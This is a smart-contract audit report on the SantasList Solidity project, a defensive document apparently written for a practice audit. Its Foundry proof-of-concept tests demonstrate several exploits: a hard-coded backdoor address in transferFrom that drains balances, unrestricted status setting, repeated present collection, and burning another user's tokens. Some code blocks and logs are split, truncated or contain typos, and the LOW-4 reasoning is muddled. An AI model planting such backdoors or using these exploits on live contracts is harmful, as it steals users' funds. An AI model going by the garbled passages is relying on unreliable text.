

Title	Author	Date
SantasList audit	@justAWanderKid	2024-07-26

## Table of Contents

- Table of Contents
- Protocol Summary
- Summary of Findings
- Findings
  - HIGH
  - MEDIUM
  - LOW
  - INFORMATIONAL

## Protocol Summary

SantasList Project Gives Presents to NICE and EXTRA\_NICE people.

## Summary of Findings

Severity	Issue Count
<b>High-Risk</b>	6
<b>Medium-Risk</b>	0
<b>Low-Risk</b>	4
<b>Informational</b>	0

# Findings

## HIGH

[HIGH-1] malicious transferFrom function that SantaToken Inherits from.

### Description

ERC20 contract that SantaToken.sol inherits, is malicious because of how tranferFrom() function is Built. if we take a look at the tranferFrom() function, this 0x815F577F1c1bcE213c012f166744937C889DAF17 Address Can Drain a given User Balance and send it to him or anyone else.

### Impact

0x815F577F1c1bcE213c012f166744937C889DAF17 Address Can Steal Any Address Balance that holds SantaTokens.

### Proof of Concepts

```
function testMaliciousTransferFrom() external {
    // santa sets `user` status to `EXTRA_NICE`.
    vm.startPrank(santa);
    santasList.checkList(user, SantasList.Status.EXTRA_NICE);
    santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
    vm.stopPrank();

    vm.startPrank(user);
    vm.warp(1_703_500_000);
    // `user` collects present receives 1 NFT plus 1e18 SantaTokens.
    santasList.collectPresent();
    vm.stopPrank();

    console2.log("Current SantaToken `user` Balance After Collecting Present: ", santaToken.balanceOf(user), 1e18);

    // malicious actor steals `user` balance with transferFrom().
    address maliciousActor = 0x815F577F1c1bcE213c012f166744937C889DAF17;
    vm.startPrank(maliciousActor);
    console2.log("MaliciousActor Comes in Tries to Call transferFrom() to Steal `user` Balance");
    santaToken.transferFrom(user, maliciousActor, 1e18);
    vm.stopPrank();

    console2.log("Current SantaToken `user` Balance After MaliciousActor Stole his/her Balance");
    console2.log("Current SantaToken `maliciousActor` Balance After Stealing it From `user`");
    assertEq(santaToken.balanceOf(user), 0);
    assertEq(santaToken.balanceOf(maliciousActor), 1e18);
}
```

run the test with following command:

```
forge test --match-test testMaliciousTransferFrom -vvvv
```

take a Look at the Logs:

Logs:

```
Current SantaToken `user` Balance After Collecting Present: 1000000000000000000
MaliciousActor Comes in Tries to Call transferFrom() to Steal `user` balance.
Current SantaToken `user` Balance After MaliciousActor Stole his/her Tokens: 0
Current SantaToken `maliciousActor` Balance After Stealing it From `user` with trans
```

### Recommended mitigation

remove this part from the transferFrom() function:

```
function transferFrom(address from, address to, uint256 amount) public virtual returns (
-   if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
-       balanceOf[from] -= amount;
-       unchecked {
-           balanceOf[to] += amount;
-       }
-       emit Transfer(from, to, amount);
-       return true;
-   }

uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.

if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;

balanceOf[from] -= amount;

// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
    balanceOf[to] += amount;
}

emit Transfer(from, to, amount);

return true;
}
```

**[HIGH-2] Wrong Status order, every Address is Considered NICE by Default.**

### Description

if we take a look at the `enum:Status`, the first Status is NICE, which is

0. if we take an Any Address and pass it to `s_theListCheckedOnce` or `s_theListCheckedTwice` mappings, we get 0 in return which basically tell's that given address is considered as NICE.

### Impact

Every Address is Considered NICE and in result can Receive free NFT.

### Proof of Concepts

```
function testEveryAddressIsNiceByDefault() external {
    // Status.NICE is 0
    vm.prank(user);
    SantasList.Status checkOnceStatus = santasList.getNaughtyOrNiceOnce(user);
    SantasList.Status checkTwiceStatus = santasList.getNaughtyOrNiceTwice(user);

    console2.log("Check Once Status: ", uint256(checkOnceStatus));
    console2.log("Check Twice Status: ", uint256(checkTwiceStatus));

    // 0 == 0
    assert(uint256(checkOnceStatus) == uint256(checkTwiceStatus));
}
```

Run the Test with Following Command:

```
forge test --match-test testEveryAddressIsNiceByDefault -vvvv
```

Take a Look at the Logs:

```
Logs:
    Check Once Status:  0
    Check Twice Status: 0
```

### Recommended mitigation

Reorder the Status enum:

```
enum Status {
+     UNKNOWN,
+     NAUGHTY,
+     NICE,
+     EXTRA_NICE
}
```

**[HIGH-3] Anyone can call `checkList()` function to Set a Status for himself or Set Status For Others.**

### Description

as the title says, Anyone can call `checkList()` function to Set a Status for himself or Set Status For Others. but in natspec of the function it's been said that only `santa` should be able to call it, which this is not the case.

## Impact

Anyone Can set himself as NICE or EXTRA\_NICE and also Anyone can Set other's NAUGHTY or NOT\_CHECKED\_TWICE, which will prevent them from collecting present.

## Proof of Concepts

```
function testAnyoneCanSetStatusForHimselfOrOthers() external {
    address user2 = makeAddr("user2");

    vm.prank(user);
    // set Status for `user`
    santasList.checkList(user, SantasList.Status.EXTRA_NICE);
    // set Status for `user2`
    santasList.checkList(user2, SantasList.Status.NAUGHTY);

    SantasList.Status statusOfuser = santasList.getNaughtyOrNiceOnce(user);
    SantasList.Status statusOfuser2 = santasList.getNaughtyOrNiceOnce(user2);

    // Status.EXTRA_NICE is equal to 1
    assert(uint256(statusOfuser) == 1);
    // Status.NAUGHTY is equal to 2
    assert(uint256(statusOfuser2) == 2);
}
```

Run the Test with Following Command:

```
forge test --match-test testAnyoneCanSetStatusForHimselfOrOthers -vvvv
```

## Recommended mitigation

add onlySanta() modifier to checkList() function.

**[HIGH-4] NICE and EXTRA\_NICE people can get infinite amount of NFT And SantaTokens.**

## Description

if we take a look at collectPresent() function, after we mint users NFT and SantaTokens, we do not set the msg.sender Status to NAUGHTY or NOT\_CHECKED\_TWICE. user's can take advantage of it and get unlimited amount SantaTokens and NFT's.

## Impact

user's that have NICE or EXTRA\_NICE Status, can take advantage of This function and get unlimited amount SantaTokens and NFT's.

## Proof of Concepts

```
function testUserMintsHimselfUnlimitedAmountNFTandSantaTokens() external {
    address user2 = makeAddr("user2");
```

```

vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();

vm.startPrank(user);
vm.warp(1_703_500_000);

for (uint i = 0; i < 4; i++) {
    santasList.collectPresent();
    santasList.safeTransferFrom(user, user2, i);
}

vm.stopPrank();

// `user2` SANTA NFT balance is 4
assertEq(santasList.balanceOf(user2), 4);
// `user` SantaToken balance is 4e18
assertEq(santaToken.balanceOf(user), 4e18);
}

forge test --match-test testUserMintsHimselfUnlimitedAmountNFTandSantaTokens -vvvv

```

### Recommended mitigation

add following lines to the `collectPresent()` function so the same user cannot collect Presents multiple times:

```

function collectPresent() external {
    if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
        revert SantasList__NotChristmasYet();
    }
    if (balanceOf(msg.sender) > 0) {
        revert SantasList__AlreadyCollected();
    }
    if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
        _mintAndIncrement();
+       s_theListCheckedOnce[msg.sender] = Status.NAUGHTY;
+       s_theListCheckedTwice[msg.sender] = Status.NAUGHTY;
        return;
    } else if (s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE && s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE) {
        _mintAndIncrement();
        i_santaToken.mint(msg.sender);
+       s_theListCheckedOnce[msg.sender] = Status.NAUGHTY;
+       s_theListCheckedTwice[msg.sender] = Status.NAUGHTY;
        return;
    }
}

```

```

        revert SantosList__NotNice();
    }

```

**[HIGH-5] if We Pass Someone Address that holds atleast 1e18 SantaToken's to buyPresent() function, it will burn the Given Address Tokens And msg.sender Gonna Receive the NFT.**

### Description

if We Pass Someone Address that holds atleast 1e18 SantaToken's to buyPresent() function, it will burn the Given Address Tokens And msg.sender Gonna Receive the NFT.

### Impact

Malicious Actor Can get Free NFT by Burning Other People SantaToken's.

### Proof of Concepts

the Attack Looks Like this:

```

function testMaliciousActorBurnsSomeoneElseTokensToReceiveNFT() external {
    address maliciousActor = makeAddr("maliciousActor");

    vm.startPrank(santa);
    santasList.checkList(user, SantosList.Status.EXTRA_NICE);
    santasList.checkTwice(user, SantosList.Status.EXTRA_NICE);
    vm.stopPrank();

    vm.startPrank(user);
    vm.warp(1_703_500_000);
    santasList.collectPresent();
    vm.stopPrank();

    vm.startPrank(maliciousActor);
    santasList.buyPresent(user);
    vm.stopPrank();

    assertEq(santasList.balanceOf(maliciousActor), 1);
    assertEq(santaToken.balanceOf(user), 0);
}

```

to Run the Test, Run the Following Command in terminal:

```
forge test --match-test testMaliciousActorBurnsSomeoneElseTokensToReceiveNFT -vvvv
```

### Recommended mitigation

burn the msg.sender SantaToken's and remove presentReceiver parameter:

```

+   function buyPresent() external {
+       i_santaToken.burn(msg.sender);
+       _mintAndIncrement();
+   }

```

**[HIGH-6] We do Not Set TOKEN URI for the given tokenId we mint the User, which results in the msg.sender receiving empty ERC721 token that is Not the Santa NFT.**

#### Description

As the Title Says, We do Not Set TOKEN URI for the given tokenId we mint the User in `_mintAndIncrement()` function, which results in the msg.sender receiving empty ERC721 token that is Not the Santa NFT. The NFT we Mint to User has no properties including description, image or anything.

#### Impact

Since We Do not Set the TokenURI for the Given tokenId, the NFT will have no description, image or anything.

#### Recommended mitigation

import the ERC721URIStorage from openzeppelin in `SantasList.sol` and make the following change to `_mintAndIncrement()`:

```

+   import {ERC721URIStorage} from "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage";
+
+   contract SantasList is ERC721, ERC721URIStorage, TokenUri {
+       function _mintAndIncrement() private {
+           _safeMint(msg.sender, s_tokenCounter);
+           _setTokenURI(s_tokenCounter, tokenURI());
+           s_tokenCounter++;
+       }
+   }

```

## MEDIUM

### LOW

**[LOW-1] SantasList and TokenURI contract cannot be deployed due it's size that exceeds 24kb.**

#### Description

Arbitrum Contract Code's have a size limit which is 24kb, which `SantasList` and `TokenURI` exceeds that amount, which can be lead to failed Contract Deployment.

#### Impact

Cannot Deploy `SantasList` and `TokenURI` Contract.



## Proof of Concepts

run the following command in terminal:

```
forge build --sizes
```

the Output Looks like this:

Contract	Size (B)	Margin (B)
ERC721Utils	86	24,490
Math	86	24,490
Panic	86	24,490
SafeCast	86	24,490
SantaToken	3,324	21,252
SantasList	56,434	-31,858
SignedMath	86	24,490
Strings	86	24,490
TokenUri	51,615	-27,039

## Recommended mitigation

Upload the TokenURI to ipfs, then Replace the given ipfs link with the Current TokenURI.

[LOW-2] `enum:Status` is missing UNKNOWN.

## Description

it's stated in docs that the users are either NICE, EXTRA\_NICE, NAUGHTY, or UNKNOWN, but `enum:Status` is missing UNKNOWN.

## Impact

there's no way to mark the user's that are not NICE or EXTRA\_NICE as something that tells the current user status.

## Recommended mitigation

replace NOT\_CHECKED\_TWICE with UNKNOWN.

```
enum Status {
    NICE,
    EXTRA_NICE,
    NAUGHTY,
-   NOT_CHECKED_TWICE
+   UNKNOWN
}
```

[LOW-3] NICE and EXTRA\_NICE pay 1e18 to buy a present, instead of 2e18 which is stated in docs.

### Description

In the documentation, it is stated that to buy a present, msg.sender should pay 2e18 SantaTokens to receive an NFT. However, NICE and EXTRA\_NICE pay 1e18 SantaTokens to get the NFT.

### Impact

NICE and EXTRA\_NICE pay Half of 2e18 SantaTokens to buy present.

### Proof of Concepts

```
function testBuyPresentWith1e18() external {
    // santa sets `user` status to `EXTRA_NICE`.
    vm.startPrank(santa);
    santasList.checkList(user, SantasList.Status.EXTRA_NICE);
    santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
    vm.stopPrank();

    vm.startPrank(user);
    vm.warp(1_703_500_000);

    // `user` collects present receives 1 NFT plus 1e18 SantaTokens.
    santasList.collectPresent();

    assertEq(santaToken.balanceOf(user), 1e18);
    console2.log("Current SantaToken `user` Balance After Collecting Present: ", santaToken.balanceOf(user));

    // `user` Spends his 1e18 Santatoken's to buy an NFT.
    santasList.buyPresent(user);

    // as you can See in `Logs` section, shows SantaToken balance of `user` is 0.
    console2.log("Current SantaToken `user` Balance After Buying the Present with 1e18 S");
    assertEq(santaToken.balanceOf(user), 0);

    vm.stopPrank();
}
```

run the following command:

```
forge test --match-test testBuyPresentWith1e18 -vvvv
```

take a Look at the Logs:

```
Logs:
Current User Balance After Collecting Present: 1000000000000000000
Current User Balance After Buying the Present: 0
```

### Recommended mitigation

change mint() and burn() amount in SantaToken.sol:

```
function mint(address to) external {
    if (msg.sender != i_santasList) {
        revert SantaToken__NotSantasList();
    }
-   _mint(to, 1e18);
+   _mint(to, 2e18);
}

function burn(address from) external {
    if (msg.sender != i_santasList) {
        revert SantaToken__NotSantasList();
    }
-   _burn(from, 1e18);
+   _burn(from, 2e18);
}
```

### [LOW-4] block.timestamp works differently in Arbitrum Network VS ETH.

#### Description

Read How the block.timestamp works in Arbitrum [here](#)

#### Impact

lets look at the if statement in:

```
uint256 public constant CHRISTMAS_2023_BLOCK_TIME = 1_703_480_381;

if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
    revert SantasList__NotChristmasYet();
}
```

since in arbitrum block.timestamp can be 24 hours earlier than current Real world time, it means that user can call collectPresents() function 24 hours after Christmass day in Real World.

### Recommended mitigation

increment CHRISTMAS\_2023\_BLOCK\_TIME by 12 hours so users can call the function within 24 hours before the Christmass.

## INFORMATIONAL